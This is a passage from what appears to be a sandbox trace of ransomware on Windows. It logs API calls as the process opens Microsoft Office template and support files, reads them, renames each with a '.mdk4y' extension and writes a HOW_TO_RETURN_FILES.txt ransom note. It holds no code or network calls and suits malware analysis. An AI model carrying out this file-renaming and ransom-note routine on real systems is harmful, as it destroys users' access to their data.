dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.420] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827565000000) returned 1 [0200.420] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x221b, lpOverlapped=0x0) returned 1 [0200.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827566700000) returned 1 [0200.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827566700000) returned 1 [0200.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Fancy.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\fancy.dotx.mdk4y")) returned 1 [0200.440] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.440] AreFileApisANSI () returned 1 [0200.440] GetACP () returned 0x4e4 [0200.440] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Formal.dotx", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Formal.dotxx", lpUsedDefaultChar=0x37dec0) returned 11 [0200.440] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.441] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827567100000) returned 1 [0200.441] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2168, lpOverlapped=0x0) returned 1 [0200.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827569200000) returned 1 [0200.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827569200000) returned 1 [0200.462] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Formal.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\formal.dotx.mdk4y")) returned 1 [0200.464] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.464] AreFileApisANSI () returned 1 [0200.464] GetACP () returned 0x4e4 [0200.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Manuscript.dotx", cchWideChar=15, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Manuscript.dotxx", lpUsedDefaultChar=0x37dec0) returned 15 [0200.464] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.466] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827569600000) returned 1 [0200.466] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x210c, lpOverlapped=0x0) returned 1 [0200.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827569700000) returned 1 [0200.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827569700000) returned 1 [0200.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Manuscript.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\manuscript.dotx.mdk4y")) returned 1 [0200.469] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.469] AreFileApisANSI () returned 1 [0200.469] GetACP () returned 0x4e4 [0200.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Modern.dotx", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Modern.dotxdotx", lpUsedDefaultChar=0x37dec0) returned 11 [0200.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.470] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827570000000) returned 1 [0200.471] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x21ac, lpOverlapped=0x0) returned 1 [0200.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827571500000) returned 1 [0200.485] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827571500000) returned 1 [0200.485] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Modern.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\modern.dotx.mdk4y")) returned 1 [0200.487] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.487] AreFileApisANSI () returned 1 [0200.487] GetACP () returned 0x4e4 [0200.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Newsprint.dotx", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Newsprint.dotxx", lpUsedDefaultChar=0x37dec0) returned 14 [0200.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.488] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827571800000) returned 1 [0200.488] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8ce63, lpOverlapped=0x0) returned 1 [0200.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827573100000) returned 1 [0200.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827573100000) returned 1 [0200.505] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Newsprint.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\newsprint.dotx.mdk4y")) returned 1 [0200.506] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.506] AreFileApisANSI () returned 1 [0200.506] GetACP () returned 0x4e4 [0200.506] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Perspective.dotx", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Perspective.dotx", lpUsedDefaultChar=0x37dec0) returned 16 [0200.506] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.507] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827573700000) returned 1 [0200.507] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5adf, lpOverlapped=0x0) returned 1 [0200.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827573800000) returned 1 [0200.508] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827573800000) returned 1 [0200.509] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Perspective.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\perspective.dotx.mdk4y")) returned 1 [0200.510] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.510] AreFileApisANSI () returned 1 [0200.510] GetACP () returned 0x4e4 [0200.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Simple.dotx", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Simple.dotx.dotx", lpUsedDefaultChar=0x37dec0) returned 11 [0200.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827574000000) returned 1 [0200.511] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x20f8, lpOverlapped=0x0) returned 1 [0200.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589200000) returned 1 [0200.662] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589200000) returned 1 [0200.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Simple.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\simple.dotx.mdk4y")) returned 1 [0200.665] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.665] AreFileApisANSI () returned 1 [0200.665] GetACP () returned 0x4e4 [0200.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Thatch.dotx", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Thatch.dotx", lpUsedDefaultChar=0x37dec0) returned 11 [0200.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.666] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589600000) returned 1 [0200.666] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5d3e, lpOverlapped=0x0) returned 1 [0200.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589700000) returned 1 [0200.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589700000) returned 1 [0200.667] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Thatch.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\thatch.dotx.mdk4y")) returned 1 [0200.668] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0200.668] AreFileApisANSI () returned 1 [0200.668] GetACP () returned 0x4e4 [0200.668] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Traditional.dotx", cchWideChar=16, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Traditional.dotx", lpUsedDefaultChar=0x37dec0) returned 16 [0200.668] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0200.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827589800000) returned 1 [0200.668] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x21f0, lpOverlapped=0x0) returned 1 [0200.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827593000000) returned 1 [0200.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1827593000000) returned 1 [0200.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Traditional.dotx.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\traditional.dotx.mdk4y")) returned 1 [0200.701] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 0 [0200.701] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0200.702] AreFileApisANSI () returned 1 [0200.702] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b9f70, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0200.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xd8 [0200.702] GetFileType (hFile=0xd8) returned 0x1 [0200.703] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.703] AreFileApisANSI () returned 1 [0200.703] GetACP () returned 0x4e4 [0200.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ReviewRouting_Init.xsn", cchWideChar=22, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ReviewRouting_Init.xsn", lpUsedDefaultChar=0x37df4c) returned 22 [0200.703] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827593400000) returned 1 [0200.704] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39aa, lpOverlapped=0x0) returned 1 [0200.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827595300000) returned 1 [0200.723] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827595300000) returned 1 [0200.723] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Init.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_init.xsn.mdk4y")) returned 1 [0200.726] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.726] AreFileApisANSI () returned 1 [0200.726] GetACP () returned 0x4e4 [0200.726] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ReviewRouting_Review.xsn", cchWideChar=24, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ReviewRouting_Review.xsn", lpUsedDefaultChar=0x37df4c) returned 24 [0200.726] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.727] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827595700000) returned 1 [0200.727] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x482d, lpOverlapped=0x0) returned 1 [0200.728] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827595800000) returned 1 [0200.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827595800000) returned 1 [0200.729] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ReviewRouting_Review.xsn.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\reviewrouting_review.xsn.mdk4y")) returned 1 [0200.730] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.730] AreFileApisANSI () returned 1 [0200.730] GetACP () returned 0x4e4 [0200.730] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ROSE.CSS", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ROSE.CSSuting_Review.xsn", lpUsedDefaultChar=0x37df4c) returned 8 [0200.730] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.731] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827596100000) returned 1 [0200.731] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd7a, lpOverlapped=0x0) returned 1 [0200.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827596300000) returned 1 [0200.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827596300000) returned 1 [0200.733] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ROSE.CSS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rose.css.mdk4y")) returned 1 [0200.734] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.734] AreFileApisANSI () returned 1 [0200.734] GetACP () returned 0x4e4 [0200.734] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RPLBRF35.CHM", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RPLBRF35.CHMg_Review.xsn", lpUsedDefaultChar=0x37df4c) returned 12 [0200.734] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827596500000) returned 1 [0200.735] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc06d, lpOverlapped=0x0) returned 1 [0200.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827597500000) returned 1 [0200.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827597500000) returned 1 [0200.746] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\RPLBRF35.CHM.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\rplbrf35.chm.mdk4y")) returned 1 [0200.747] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.747] AreFileApisANSI () returned 1 [0200.747] GetACP () returned 0x4e4 [0200.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SAVASWEB.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SAVASWEB.VSL", lpUsedDefaultChar=0x37df4c) returned 12 [0200.747] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0200.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827597800000) returned 1 [0200.748] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbd68, lpOverlapped=0x0) returned 1 [0200.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827599400000) returned 1 [0200.765] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1827599400000) returned 1 [0200.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SAVASWEB.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\savasweb.vsl.mdk4y")) returned 1 [0200.766] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0200.766] AreFileApisANSI () returned 1 [0200.766] GetACP () returned 0x4e4 [0200.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 